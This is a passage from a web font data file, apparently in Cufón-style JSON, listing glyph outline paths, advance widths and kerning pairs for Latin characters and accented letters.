26v-16,0,-27,-12,-27,-26xm103,-229v0,-14,11,-26,27,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-27,-12,-27,-26","w":186,"k":{",":33,".":33}},{"d":"0,-88r0,-32v10,0,34,-4,34,-25r0,-71v7,-46,36,-51,79,-48r0,31v-24,-4,-48,7,-42,25r0,68v1,29,-26,33,-36,37v12,1,36,5,36,38v0,41,-23,99,42,91r0,30v-43,3,-79,-1,-79,-47r0,-69v0,-23,-24,-28,-34,-28","w":100},{"d":"40,0r0,-136r-36,0r0,-37r36,0v-1,-58,0,-104,64,-103v9,0,19,0,28,2r-3,37v-41,-13,-52,19,-46,64r40,0r0,37r-40,0r0,136r-43,0","w":126,"k":{"f":6,"\u00df":6}},{"d":"173,-153r0,32r-50,0v-16,64,-13,175,-88,171v-13,0,-25,-3,-36,-9r16,-33v24,14,39,-3,45,-32r20,-97r-41,0r0,-32r47,0v10,-49,14,-106,73,-106v15,0,29,4,42,11r-17,33v-40,-21,-51,26,-55,62r44,0"},{"d":"211,-177v60,1,86,45,83,104r-126,0v1,53,66,56,88,22r30,21v-30,45,-114,44,-141,3v-28,45,-128,45,-132,-21v-3,-53,58,-59,119,-56v4,-48,-61,-50,-85,-23r-23,-23v35,-32,98,-41,131,-2v14,-15,31,-25,56,-25xm56,-51v14,43,84,18,76,-22v-30,0,-74,-3,-76,22xm168,-104r84,0v-1,-24,-17,-41,-42,-41v-24,0,-41,17,-42,41","w":306},{"d":"99,-255r0,51r48,-16r10,29r-49,16r31,42r-25,18r-31,-42r-30,41r-25,-18r31,-41r-49,-17r9,-29r49,17r0,-51r31,0","w":166},{"d":"25,0r0,-173r43,0r0,173r-43,0","w":93},{"d":"182,-173r0,173r-41,0v-1,-9,2,-21,-1,-28v-8,17,-24,32,-53,32v-87,-2,-58,-99,-63,-177r44,0r0,88v0,19,1,50,31,50v61,-2,34,-83,40,-138r43,0xm85,-255r35,52r-34,0r-50,-52r49,0","w":206},{"d":"91,0r0,-109r-96,-146r57,0r62,102r64,-102r54,0r-96,146r0,109r-45,0xm49,-298v0,-14,11,-26,27,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-27,-12,-27,-26xm123,-298v0,-14,11,-26,27,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-27,-12,-27,-26","w":226,"k":{"v":20,"A":27,"\u00c6":27,"\u00c1":27,"\u00c2":27,"\u00c4":27,"\u00c0":27,"\u00c5":27,"\u00c3":27,",":40,".":40,"e":33,"\u00e9":33,"\u00ea":33,"\u00eb":33,"\u00e8":33,"o":33,"\u00f8":33,"\u0153":33,"\u00f3":33,"\u00f4":33,"\u00f6":33,"\u00f2":33,"\u00f5":33,"q":33,"-":40,"a":33,"\u00e6":33,"\u00e1":33,"\u00e2":33,"\u00e4":33,"\u00e0":33,"\u00e5":33,"\u00e3":33,"u":31,"\u00fa":31,"\u00fb":31,"\u00fc":31,"\u00f9":31,":":33,";":33,"i":3,"\u0131":3,"\u00ed":3,"\u00ee":3,"\u00ef":3,"\u00ec":3,"p":31}},{"d":"27,0r0,-255r46,0r0,255r-46,0xm116,-272r-41,0r-25,-33r-25,33r-40,0r41,-52r49,0","w":100},{"d":"132,0v-1,-7,2,-18,-1,-24v-25,45,-118,35,-118,-24v0,-59,70,-60,119,-60v4,-46,-63,-44,-85,-19r-23,-22v19,-19,47,-28,74,-28v74,0,73,54,73,78r0,99r-39,0xm86,-28v33,-1,46,-18,44,-49v-28,0,-74,-2,-74,26v0,16,16,23,30,23xm135,-236v0,21,-17,37,-38,37v-21,0,-38,-15,-38,-36v0,-21,16,-38,38,-38v21,0,38,16,38,37xm117,-236v0,-11,-9,-19,-20,-19v-11,0,-21,8,-21,19v0,11,10,20,21,20v11,0,20,-8,20,-20","w":193},{"d":"25,0r0,-173r43,0r0,173r-43,0xm112,-203r-41,0r-25,-32r-24,32r-41,0r42,-52r48,0","w":93},{"d":"15,-126v0,-82,56,-135,134,-135v80,0,136,51,136,133v0,80,-56,134,-136,134v-78,0,-134,-52,-134,-132xm62,-129v0,54,35,94,88,94v53,0,88,-40,88,-94v0,-51,-35,-91,-88,-91v-53,0,-88,40,-88,91xm133,-272r36,-52r49,0r-51,52r-34,0","w":299},{"d":"233,-255r0,161v0,62,-45,100,-103,100v-58,0,-103,-38,-103,-100r0,-161r46,0r0,160v0,25,13,58,57,58v44,0,57,-33,57,-58r0,-160r46,0xm195,-272r-41,0r-24,-33r-25,33r-41,0r42,-52r48,0","w":259},{"d":"27,0r0,-255r46,0r0,255r-46,0xm31,-324r36,52r-34,0r-51,-52r49,0","w":100},{"d":"132,0v-1,-7,2,-18,-1,-24v-25,45,-118,35,-118,-24v0,-59,70,-60,119,-60v4,-46,-63,-44,-85,-19r-23,-22v19,-19,47,-28,74,-28v74,0,73,54,73,78r0,99r-39,0xm86,-28v33,-1,46,-18,44,-49v-28,0,-74,-2,-74,26v0,16,16,23,30,23xm54,-204r-23,0v4,-23,13,-46,40,-46v0,0,59,30,68,-2r24,0v-4,23,-13,46,-40,46v-28,-1,-59,-31,-69,2","w":193},{"d":"191,-71r-132,0v3,50,73,51,93,17r31,24v-51,66,-167,30,-167,-56v0,-54,42,-91,94,-91v52,-1,85,40,81,106xm59,-104r89,0v0,-25,-17,-41,-44,-41v-26,0,-42,16,-45,41xm86,-203r36,-52r49,0r-51,52r-34,0","w":206},{"d":"320,-73r-126,0v2,51,69,54,89,19r29,22v-29,47,-108,47,-140,9v-52,57,-159,19,-159,-63v0,-83,109,-121,160,-63v15,-19,38,-28,64,-28v60,1,86,45,83,104xm193,-104r84,0v0,-25,-17,-41,-40,-41v-21,0,-43,14,-44,41xm56,-86v0,29,19,54,51,54v32,0,51,-25,51,-54v0,-29,-19,-54,-51,-54v-32,0,-51,25,-51,54","w":333},{"d":"102,-155r0,-52r37,0r0,52r78,0r0,37r-78,0r0,51r-37,0r0,-51r-80,0r0,-37r80,0xm22,-12r0,-36r195,0r0,36r-195,0","w":239},{"d":"16,-86v0,-54,42,-91,94,-91v52,0,94,37,94,91v0,54,-42,90,-94,90v-52,0,-94,-36,-94,-90xm59,-86v0,27,19,51,51,51v32,0,51,-24,51,-51v0,-27,-19,-52,-51,-52v-32,0,-51,25,-51,52xm45,-229v0,-14,11,-26,27,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-27,-12,-27,-26xm119,-229v0,-14,12,-26,28,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-28,-12,-28,-26","w":219},{"d":"16,-86v0,-54,42,-91,94,-91v52,0,94,37,94,91v0,54,-42,90,-94,90v-52,0,-94,-36,-94,-90xm59,-86v0,27,19,51,51,51v32,0,51,-24,51,-51v0,-27,-19,-52,-51,-52v-32,0,-51,25,-51,52xm91,-255r36,52r-34,0r-51,-52r49,0","w":219},{"d":"15,-126v0,-82,56,-135,134,-135v80,0,136,51,136,133v0,80,-56,134,-136,134v-78,0,-134,-52,-134,-132xm62,-129v0,54,35,94,88,94v53,0,88,-40,88,-94v0,-51,-35,-91,-88,-91v-53,0,-88,40,-88,91xm108,-274r-24,0v4,-23,13,-45,40,-45v28,0,59,29,69,-2r23,0v-4,23,-13,46,-40,46v-28,0,-59,-31,-68,1","w":299},{"d":"233,-255r0,161v0,62,-45,100,-103,100v-58,0,-103,-38,-103,-100r0,-161r46,0r0,160v0,25,13,58,57,58v44,0,57,-33,57,-58r0,-160r46,0xm111,-324r36,52r-34,0r-51,-52r49,0","w":259},{"d":"172,-151r-29,30v-28,-36,-88,-7,-84,35v-5,41,57,70,84,35r29,31v-17,17,-46,24,-61,24r-13,18v21,0,44,1,44,29v0,40,-59,42,-88,25r8,-16v16,8,45,14,50,-8v-3,-22,-36,-4,-42,-20r21,-29v-43,-8,-75,-41,-75,-89v0,-80,102,-121,156,-65","w":173},{"d":"25,0r0,-173r43,0r0,173r-43,0xm32,-255r36,52r-34,0r-51,-52r49,0","w":93},{"d":"182,-173r0,173r-41,0v-1,-9,2,-21,-1,-28v-8,17,-24,32,-53,32v-87,-2,-58,-99,-63,-177r44,0r0,88v0,19,1,50,31,50v61,-2,34,-83,40,-138r43,0xm169,-203r-41,0r-25,-32r-25,32r-40,0r41,-52r49,0","w":206},{"d":"21,0r0,-46r99,-95v12,-12,27,-26,27,-44v-2,-45,-75,-42,-77,1r-45,-3v4,-47,38,-72,84,-72v46,0,83,23,83,72v0,32,-16,54,-39,75r-79,73r118,0r0,39r-171,0"},{"d":"35,-160r0,-95r37,0r0,95r-37,0","w":106},{"d":"27,0r0,-255r46,0r0,255r-46,0xm-15,-298v0,-14,12,-26,28,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-28,-12,-28,-26xm59,-298v0,-14,12,-26,28,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-28,-12,-28,-26","w":100},{"d":"24,82r0,-354r44,0r0,122v10,-17,34,-27,58,-27v53,0,85,40,85,91v0,51,-35,90,-84,90v-33,0,-48,-16,-59,-26r0,104r-44,0xm168,-86v0,-27,-19,-52,-51,-52v-32,0,-51,25,-51,52v0,27,19,51,51,51v32,0,51,-24,51,-51","w":226},{"d":"233,-255r0,161v0,62,-45,100,-103,100v-58,0,-103,-38,-103,-100r0,-161r46,0r0,160v0,25,13,58,57,58v44,0,57,-33,57,-58r0,-160r46,0xm113,-272r36,-52r49,0r-51,52r-34,0","w":259},{"d":"80,-113r0,-39v31,0,60,0,61,-35v0,-40,-67,-44,-75,-5r-45,-12v18,-79,163,-72,163,13v1,28,-19,49,-44,58v32,5,50,31,50,62v1,93,-156,101,-173,16r46,-13v5,47,86,41,84,-7v-1,-37,-35,-39,-67,-38"},{"d":"28,0r0,-255r169,0r0,41r-123,0r0,63r117,0r0,41r-117,0r0,69r130,0r0,41r-176,0","w":219},{"d":"25,0r0,-173r43,0r0,173r-43,0xm19,-231v0,-14,11,-26,27,-26v16,0,29,11,29,26v0,15,-13,25,-29,25v-16,0,-27,-11,-27,-25","w":93},{"d":"24,0r0,-272r44,0r1,121v9,-11,26,-26,58,-26v49,0,84,40,84,91v0,79,-101,123,-145,60r0,26r-42,0xm168,-86v0,-27,-19,-52,-51,-52v-32,0,-51,25,-51,52v0,27,19,51,51,51v32,0,51,-24,51,-51","w":226},{"d":"16,-86v0,-54,42,-91,94,-91v52,0,94,37,94,91v0,54,-42,90,-94,90v-52,0,-94,-36,-94,-90xm59,-86v0,27,19,51,51,51v32,0,51,-24,51,-51v0,-27,-19,-52,-51,-52v-32,0,-51,25,-51,52","w":219},{"d":"28,0r0,-255v85,2,182,-17,184,73v0,37,-21,64,-59,69r68,113r-55,0r-59,-108r-33,0r0,108r-46,0xm74,-147v41,-2,91,10,91,-35v0,-44,-51,-32,-91,-34r0,69","w":226,"k":{"T":6,"Y":13,"\u00dd":13,"\u0178":13}},{"d":"186,-235r-33,35v-18,-28,-86,-30,-86,12v0,51,121,22,121,113v0,91,-128,104,-177,47r34,-33v19,34,95,38,95,-8v0,-56,-121,-24,-121,-115v1,-82,116,-99,167,-51","w":206},{"d":"28,0r0,-255v84,1,180,-15,180,74v0,76,-64,77,-134,76r0,105r-46,0xm74,-144v39,-1,87,9,87,-36v0,-42,-47,-35,-87,-36r0,72","w":219,"k":{"A":27,"\u00c6":27,"\u00c1":27,"\u00c2":27,"\u00c4":27,"\u00c0":27,"\u00c5":27,"\u00c3":27,",":61,".":61}},{"d":"233,-255r0,161v0,62,-45,100,-103,100v-58,0,-103,-38,-103,-100r0,-161r46,0r0,160v0,25,13,58,57,58v44,0,57,-33,57,-58r0,-160r46,0","w":259},{"d":"258,-134r-51,74r55,60r-56,0r-27,-29v-41,58,-161,43,-162,-39v0,-34,24,-60,55,-72v-16,-18,-29,-34,-29,-59v0,-42,34,-62,73,-62v38,0,72,18,72,60v0,31,-25,53,-50,66r41,44r28,-43r51,0xm117,-222v-43,1,-33,46,-6,62v29,-7,53,-59,6,-62xm152,-58r-52,-56v-17,10,-35,21,-35,43v0,22,18,39,40,39v20,0,34,-13,47,-26","w":266},{"d":"28,0r0,-255r46,0r0,214r108,0r0,41r-154,0","w":186,"k":{"T":33,"V":33,"W":20,"y":13,"\u00fd":13,"\u00ff":13,"Y":40,"\u00dd":40,"\u0178":40}},{"d":"79,-71r122,-133v-57,-41,-139,3,-139,75v0,22,7,42,17,58xm218,-188r-123,135v57,44,143,1,143,-76v0,-23,-7,-44,-20,-59xm264,-272r17,16r-31,34v22,23,35,55,35,94v0,114,-135,170,-221,108r-30,33r-18,-16r31,-33v-21,-23,-32,-54,-32,-90v0,-116,128,-169,217,-112","w":299},{"d":"30,0r0,-255r69,0r68,179r68,-179r69,0r0,255r-43,0r-1,-212r-77,212r-32,0r-78,-212r0,212r-43,0","w":333},{"d":"178,-107r34,0v-5,36,-33,56,-64,56v-45,0,-72,-35,-72,-78v0,-84,125,-105,136,-23r-34,0v-3,-17,-15,-22,-28,-22v-28,0,-39,19,-39,45v0,27,13,47,38,47v15,0,28,-6,29,-25xm10,-127v0,-74,60,-134,134,-134v74,0,134,60,134,134v0,74,-60,133,-134,133v-74,0,-134,-59,-134,-133xm45,-127v0,58,43,103,99,103v56,0,99,-45,99,-103v0,-58,-43,-104,-99,-104v-56,0,-99,46,-99,104","w":288},{"d":"0,0r91,-133r-85,-122r57,0r60,94r60,-94r55,0r-84,122r93,133r-58,0r-67,-108r-67,108r-55,0","w":246},{"d":"54,-201r66,66r65,-65r26,25r-66,65r67,67r-27,27r-65,-65r-66,65r-26,-26r66,-66r-66,-67","w":239},{"d":"80,-139v25,-1,57,25,78,25v15,0,24,-14,32,-25r13,31v-11,15,-23,31,-45,31v-35,0,-91,-50,-109,0r-13,-31v8,-15,21,-31,44,-31","w":239},{"d":"28,0r0,-255r165,0r0,41r-119,0r0,67r112,0r0,41r-112,0r0,106r-46,0","w":206,"k":{"A":20,"\u00c6":20,"\u00c1":20,"\u00c2":20,"\u00c4":20,"\u00c0":20,"\u00c5":20,"\u00c3":20,",":46,".":46}},{"d":"62,-104r0,-114r-31,27r-19,-24r54,-42r32,0r0,153r-36,0xm193,0r0,-34v25,-25,61,-44,79,-75v-4,-24,-43,-14,-43,6r-34,-2v2,-34,25,-50,58,-50v53,0,74,57,35,85v-18,12,-36,25,-51,40r72,0r0,30r-116,0xm67,-2r150,-264r30,13r-150,265","w":320},{"d":"15,-126v0,-82,56,-135,134,-135v80,0,136,51,136,133v0,80,-56,134,-136,134v-78,0,-134,-52,-134,-132xm62,-129v0,54,35,94,88,94v53,0,88,-40,88,-94v0,-51,-35,-91,-88,-91v-53,0,-88,40,-88,91xm85,-298v0,-14,12,-26,28,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-28,-12,-28,-26xm159,-298v0,-14,12,-26,28,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-28,-12,-28,-26","w":299},{"d":"13,0r0,-41r136,-173r-134,0r0,-41r190,0r0,41r-137,173r139,0r0,41r-194,0xm45,-324r41,0r25,32r25,-32r39,0r-41,52r-48,0","w":219},{"d":"144,-164v-24,0,-38,19,-38,43v0,8,0,34,30,34v44,1,48,-76,8,-77xm222,-48r40,0v-68,99,-250,52,-250,-79v0,-77,61,-134,137,-134v63,0,127,42,127,118v0,77,-57,88,-79,88v-21,1,-27,-13,-30,-20v-27,36,-105,20,-98,-41v-8,-59,75,-111,112,-60r3,-16r34,0r-17,91v0,9,2,14,10,14v15,0,31,-17,31,-54v0,-58,-39,-88,-94,-88v-60,0,-100,43,-100,102v0,91,110,128,174,79","w":288},{"d":"93,-59r0,-140v48,1,107,-8,108,41v0,25,-17,42,-32,44r36,55r-38,0r-32,-54r-8,0r0,54r-34,0xm127,-171r0,30v18,-1,39,6,39,-15v0,-20,-22,-14,-39,-15xm10,-127v0,-74,60,-134,134,-134v74,0,134,60,134,134v0,74,-60,133,-134,133v-74,0,-134,-59,-134,-133xm45,-127v0,58,43,103,99,103v56,0,99,-45,99,-103v0,-58,-43,-104,-99,-104v-56,0,-99,46,-99,104","w":288},{"d":"161,0r0,-26v-43,63,-145,19,-145,-60v0,-51,34,-91,83,-91v33,0,49,16,60,26r0,-121r43,0r0,272r-41,0xm59,-86v0,27,19,51,51,51v32,0,51,-24,51,-51v0,-27,-19,-52,-51,-52v-32,0,-51,25,-51,52","w":226},{"d":"0,0r111,-255r39,0r110,255r-52,0r-24,-58r-110,0r-23,58r-51,0xm89,-97r79,0r-39,-104","w":259},{"d":"39,0r10,-75r-32,0r0,-30r36,0r7,-44r-33,0r0,-31r37,0r11,-75r31,0r-11,75r37,0r11,-75r32,0r-11,75r32,0r0,31r-37,0r-6,44r33,0r0,30r-36,0r-11,75r-32,0r11,-75r-37,0r-11,75r-31,0xm128,-149r-37,0r-6,44r37,0"},{"d":"75,0r-75,-255r50,0r48,184r58,-184r44,0r57,184r50,-184r46,0r-74,255r-43,0r-60,-194r-59,194r-42,0","w":353,"k":{"\u00fc":6,"\u00f6":6,"\u00ea":6,"\u00e4":13,"A":9,"\u00c6":9,"\u00c1":9,"\u00c2":9,"\u00c4":9,"\u00c0":9,"\u00c5":9,"\u00c3":9,",":27,".":27,"e":6,"\u00e9":6,"\u00eb":6,"\u00e8":6,"o":6,"\u00f8":6,"\u0153":6,"\u00f3":6,"\u00f4":6,"\u00f2":6,"\u00f5":6,"-":10,"a":13,"\u00e6":13,"\u00e1":13,"\u00e2":13,"\u00e0":13,"\u00e5":13,"\u00e3":13,"r":6,"u":6,"\u00fa":6,"\u00fb":6,"\u00f9":6,":":6,";":6}},{"d":"43,-160r0,-95r37,0r0,95r-37,0xm107,-160r0,-95r37,0r0,95r-37,0","w":186},{"d":"24,0r0,-173r42,0r0,28v8,-17,24,-32,53,-32v87,2,58,99,63,177r-43,0r0,-87v0,-19,-2,-51,-32,-51v-60,0,-33,83,-39,138r-44,0xm61,-204r-24,0v4,-23,13,-46,40,-46v28,0,59,29,69,-2r24,0v-4,23,-14,46,-41,46v-28,0,-59,-31,-68,2","w":206},{"d":"182,-63v0,-37,30,-67,67,-67v37,0,67,30,67,67v0,37,-30,67,-67,67v-37,0,-67,-30,-67,-67xm281,-63v0,-18,-14,-32,-32,-32v-18,0,-33,14,-33,32v0,18,15,33,33,33v18,0,32,-15,32,-33xm11,-192v0,-37,30,-67,67,-67v37,0,67,30,67,67v0,37,-30,67,-67,67v-37,0,-67,-30,-67,-67xm110,-192v0,-18,-14,-33,-32,-33v-18,0,-33,15,-33,33v0,18,15,32,33,32v18,0,32,-14,32,-32xm74,-2r150,-264r29,13r-149,265","w":326},{"d":"211,-15r-182,-81r0,-26r182,-81r0,40r-122,54r122,54r0,40","w":239},{"d":"93,-152r-42,63r42,63r-27,18r-55,-81r55,-81xm173,-152r-42,63r42,63r-27,18r-55,-81r55,-81","w":186},{"d":"14,45r25,-95r44,0r-31,95r-38,0xm24,-147v0,-15,13,-28,29,-28v15,0,29,12,29,27v0,15,-13,28,-29,28v-15,0,-29,-12,-29,-27","w":106},{"d":"30,-203r36,-52r48,0r-50,52r-34,0","w":93},{"d":"239,-221r-36,26v-53,-59,-141,-6,-141,66v0,80,97,130,145,63r37,27v-23,31,-56,45,-93,45r-11,16v21,0,44,1,44,29v0,40,-59,42,-88,25r8,-16v16,8,45,14,50,-8v-3,-22,-36,-4,-42,-20r19,-27v-69,-8,-116,-58,-116,-131v0,-121,149,-181,224,-95","w":246},{"w":106},{"w":106},{"d":"28,0r0,-255r61,0r124,189r0,-189r45,0r0,255r-57,0r-127,-195r0,195r-46,0xm101,-274r-24,0v4,-23,13,-45,40,-45v28,0,59,29,69,-2r24,0v-4,23,-14,46,-41,46v-28,0,-59,-31,-68,1","w":286},{"d":"28,-255r36,52r-34,0r-51,-52r49,0","w":93},{"d":"107,-259v43,0,78,24,78,67v1,28,-15,48,-39,58v24,5,47,31,47,62v0,50,-38,76,-86,76v-48,0,-86,-26,-86,-76v-1,-32,24,-56,46,-63v-26,-8,-39,-30,-39,-57v0,-43,36,-67,79,-67xm107,-222v-22,0,-35,15,-35,34v0,20,14,36,35,36v19,0,34,-16,34,-36v0,-19,-14,-34,-34,-34xm107,-118v-23,0,-43,17,-43,40v0,24,18,41,43,41v25,0,42,-17,42,-41v0,-23,-19,-40,-42,-40"},{"d":"24,-173r44,0r0,88v0,19,1,50,31,50v61,-2,34,-83,40,-138r43,0r0,173r-41,0v-1,-9,2,-21,-1,-28v-7,22,-39,38,-72,30r0,80r-44,0r0,-255","w":206},{"d":"182,-255r0,39r-103,0r-1,51v61,-14,112,21,112,81v0,100,-152,121,-174,30r45,-12v9,43,86,35,86,-14v0,-58,-74,-59,-113,-37r3,-138r145,0"},{"d":"28,0r0,-255r101,0v67,0,129,42,129,128v0,125,-108,134,-230,127xm74,-41v76,4,137,-11,137,-86v0,-78,-59,-92,-137,-87r0,173","w":273},{"d":"75,-255r0,175r-43,0r0,-175r43,0xm24,-25v0,-15,13,-28,29,-28v15,0,29,12,29,27v0,15,-13,28,-29,28v-15,0,-29,-12,-29,-27","w":106},{"d":"28,0r0,-255r169,0r0,41r-123,0r0,63r117,0r0,41r-117,0r0,69r130,0r0,41r-176,0xm176,-272r-41,0r-25,-33r-25,33r-40,0r41,-52r49,0","w":219},{"d":"28,0r0,-67r-25,22r0,-40r25,-22r0,-148r46,0r0,108r74,-65r0,39r-74,66r0,66r108,0r0,41r-154,0","w":186,"k":{"T":33,"V":33,"W":20,"y":13,"\u00fd":13,"\u00ff":13,"Y":40,"\u00dd":40,"\u0178":40}},{"d":"191,-71r-132,0v3,50,73,51,93,17r31,24v-51,66,-167,30,-167,-56v0,-54,42,-91,94,-91v52,-1,85,40,81,106xm59,-104r89,0v0,-25,-17,-41,-44,-41v-26,0,-42,16,-45,41xm169,-203r-41,0r-25,-32r-25,32r-40,0r41,-52r49,0","w":206},{"d":"29,-203r182,81r0,26r-182,81r0,-40r121,-54r-121,-54r0,-40","w":239},{"d":"25,0r0,-173r43,0r0,173r-43,0xm26,-203r35,-52r49,0r-51,52r-33,0","w":93},{"d":"108,0r-52,0v19,-32,45,-64,60,-95v-53,17,-100,-26,-100,-77v0,-53,39,-87,91,-87v84,0,108,93,67,156xm152,-172v0,-26,-21,-46,-47,-46v-26,0,-46,20,-46,46v0,26,20,47,46,47v26,0,47,-21,47,-47"},{"d":"145,-151r-28,26v-10,-21,-59,-28,-59,1v0,31,93,6,93,73v0,67,-106,70,-142,29r29,-27v11,12,23,21,41,21v13,0,29,-6,29,-20v0,-36,-94,-7,-94,-73v1,-64,98,-73,131,-30","w":159},{"d":"28,0r0,-255v79,2,175,-18,178,64v1,30,-20,47,-44,57v32,4,55,28,55,61v0,88,-103,72,-189,73xm74,-216r0,65v38,2,90,1,87,-32v4,-34,-48,-35,-87,-33xm74,-112r0,73v44,-2,92,11,97,-37v5,-41,-54,-36,-97,-36","w":233},{"d":"24,-25v0,-15,13,-28,29,-28v15,0,29,12,29,27v0,15,-13,28,-29,28v-15,0,-29,-12,-29,-27xm24,-147v0,-15,13,-28,29,-28v15,0,29,12,29,27v0,15,-13,28,-29,28v-15,0,-29,-12,-29,-27","w":106},{"d":"25,0r0,-173r43,0r0,173r-43,0xm-18,-229v0,-14,11,-26,27,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-27,-12,-27,-26xm56,-229v0,-14,12,-26,28,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-28,-12,-28,-26","w":93},{"d":"0,0r111,-255r39,0r110,255r-52,0r-24,-58r-110,0r-23,58r-51,0xm89,-97r79,0r-39,-104xm168,-301v0,21,-17,36,-38,36v-21,0,-38,-15,-38,-36v0,-21,16,-37,38,-37v21,0,38,16,38,37xm150,-301v0,-11,-9,-20,-20,-20v-11,0,-21,9,-21,20v0,11,10,19,21,19v11,0,20,-7,20,-19","w":259},{"d":"172,-151r-29,30v-28,-36,-88,-7,-84,35v-5,41,57,70,84,35r29,31v-60,53,-156,13,-156,-66v0,-80,102,-121,156,-65","w":173},{"d":"104,-242r0,28r-115,0r0,-28r115,0","w":93},{"d":"191,-71r-132,0v3,50,73,51,93,17r31,24v-51,66,-167,30,-167,-56v0,-54,42,-91,94,-91v52,-1,85,40,81,106xm59,-104r89,0v0,-25,-17,-41,-44,-41v-26,0,-42,16,-45,41xm85,-255r35,52r-34,0r-50,-52r49,0","w":206},{"d":"40,-136r-36,0r0,-37r36,0r0,-50r43,0r0,50r48,0r0,37r-48,0v2,45,-17,127,48,98r0,37v-48,14,-91,0,-91,-56r0,-79","w":140},{"d":"239,-221r-36,26v-53,-59,-141,-6,-141,66v0,80,97,130,145,63r37,27v-69,91,-229,36,-229,-87v0,-121,149,-181,224,-95","w":246},{"d":"232,-214r0,63r97,0r0,41r-97,0r0,69r110,0r0,41r-179,0v-92,0,-145,-55,-145,-127v0,-73,53,-128,145,-128r173,0r0,41r-104,0xm187,-41r0,-173v-56,-2,-119,7,-119,87v0,79,64,88,119,86","w":360},{"d":"182,-173r0,173r-41,0v-1,-9,2,-21,-1,-28v-8,17,-24,32,-53,32v-87,-2,-58,-99,-63,-177r44,0r0,88v0,19,1,50,31,50v61,-2,34,-83,40,-138r43,0","w":206},{"d":"24,0r0,-272r44,0r0,171r66,-72r56,0r-74,79r78,94r-57,0r-69,-88r0,88r-44,0","w":193},{"d":"91,0r0,-109r-96,-146r57,0r62,102r64,-102r54,0r-96,146r0,109r-45,0","w":226,"k":{"\u00fc":31,"\u00f6":33,"v":20,"A":27,"\u00c6":27,"\u00c1":27,"\u00c2":27,"\u00c4":27,"\u00c0":27,"\u00c5":27,"\u00c3":27,",":40,".":40,"e":33,"\u00e9":33,"\u00ea":33,"\u00eb":33,"\u00e8":33,"o":33,"\u00f8":33,"\u0153":33,"\u00f3":33,"\u00f4":33,"\u00f2":33,"\u00f5":33,"q":33,"-":40,"a":33,"\u00e6":33,"\u00e1":33,"\u00e2":33,"\u00e4":33,"\u00e0":33,"\u00e5":33,"\u00e3":33,"u":31,"\u00fa":31,"\u00fb":31,"\u00f9":31,":":33,";":33,"i":3,"\u0131":3,"\u00ed":3,"\u00ee":3,"\u00ef":3,"\u00ec":3,"p":31}},{"d":"25,-173r43,0r0,183v5,52,-25,87,-81,73r3,-37v26,10,35,-12,35,-35r0,-184xm19,-231v0,-14,11,-26,27,-26v16,0,29,11,29,26v0,15,-13,25,-29,25v-16,0,-27,-11,-27,-25","w":93},{"d":"10,16v0,-53,65,-57,58,-116r43,0v12,64,-56,64,-56,114v0,19,13,31,32,31v20,0,34,-16,36,-35r47,4v0,91,-160,99,-160,2xm118,-150v0,15,-12,28,-28,28v-15,0,-29,-12,-29,-27v0,-15,13,-28,29,-28v15,0,28,12,28,27","w":186},{"d":"12,0r0,-40r93,-98r-88,0r0,-35r140,0r0,39r-94,99r98,0r0,35r-149,0","w":173},{"d":"85,0r0,-64r-61,0r0,-28r61,0v1,-13,-2,-22,-7,-29r-54,0r0,-28r39,0r-59,-106r49,0r56,106r53,-106r47,0r-59,106r39,0r0,28r-54,0v-5,7,-8,16,-7,29r61,0r0,28r-61,0r0,64r-43,0"},{"d":"114,-283r0,24v28,-1,54,8,74,25r-30,33v-11,-12,-27,-19,-44,-19v2,23,-4,53,2,72v40,11,81,24,81,73v0,48,-37,74,-83,79r0,26r-19,0r0,-26v-31,0,-62,-9,-84,-32r33,-33v12,16,31,24,51,26v-2,-24,4,-56,-2,-76v-40,-11,-76,-26,-76,-74v0,-43,38,-70,78,-74r0,-24r19,0xm95,-154r0,-66v-17,3,-32,15,-32,33v0,22,15,25,32,33xm114,-105r0,70v20,-4,38,-16,38,-37v0,-21,-21,-27,-38,-33"},{"d":"100,-120r0,32v-10,0,-34,4,-34,25r0,72v-7,45,-37,50,-79,47r0,-30v24,4,48,-7,43,-25r0,-68v-1,-29,25,-33,35,-37v-12,-1,-35,-6,-35,-39v0,-42,22,-98,-43,-90r0,-31v43,-3,79,2,79,48r0,69v0,23,24,27,34,27","w":100},{"d":"32,80r0,-175r43,0r0,175r-43,0xm82,-150v0,15,-13,28,-29,28v-15,0,-29,-12,-29,-27v0,-15,13,-28,29,-28v15,0,29,12,29,27","w":106},{"d":"254,0r0,-31r-71,0r0,-28r67,-94r41,0r0,92r19,0r0,30r-19,0r0,31r-37,0xm254,-61v-1,-16,2,-35,-1,-49r-34,49r35,0xm60,-104r0,-114r-30,27r-20,-24r54,-42r33,0r0,153r-37,0xm66,-2r150,-264r30,13r-150,265","w":320},{"d":"181,-53r0,-70r-159,0r0,-37r195,0r0,107r-36,0","w":239},{"d":"132,0v-1,-7,2,-18,-1,-24v-25,45,-118,35,-118,-24v0,-59,70,-60,119,-60v4,-46,-63,-44,-85,-19r-23,-22v19,-19,47,-28,74,-28v74,0,73,54,73,78r0,99r-39,0xm86,-28v33,-1,46,-18,44,-49v-28,0,-74,-2,-74,26v0,16,16,23,30,23xm162,-203r-41,0r-25,-32r-24,32r-41,0r42,-52r48,0","w":193},{"d":"24,-25v0,-15,13,-28,29,-28v15,0,29,12,29,27v0,15,-13,28,-29,28v-15,0,-29,-12,-29,-27","w":106},{"d":"61,0r-60,-173r47,0r38,121r35,-121r47,0r38,121r36,-121r43,0r-58,173r-43,0r-42,-118r-36,118r-45,0","w":286,"k":{",":27,".":27}},{"d":"191,-71r-132,0v3,50,73,51,93,17r31,24v-51,66,-167,30,-167,-56v0,-54,42,-91,94,-91v52,-1,85,40,81,106xm59,-104r89,0v0,-25,-17,-41,-44,-41v-26,0,-42,16,-45,41xm39,-229v0,-14,11,-26,27,-26v16,0,28,11,28,26v0,15,-12,26,-28,26v-16,0,-27,-12,-27,-26xm113,-229v0,-14,11,-26,27,-26v16,0,28,11,28,26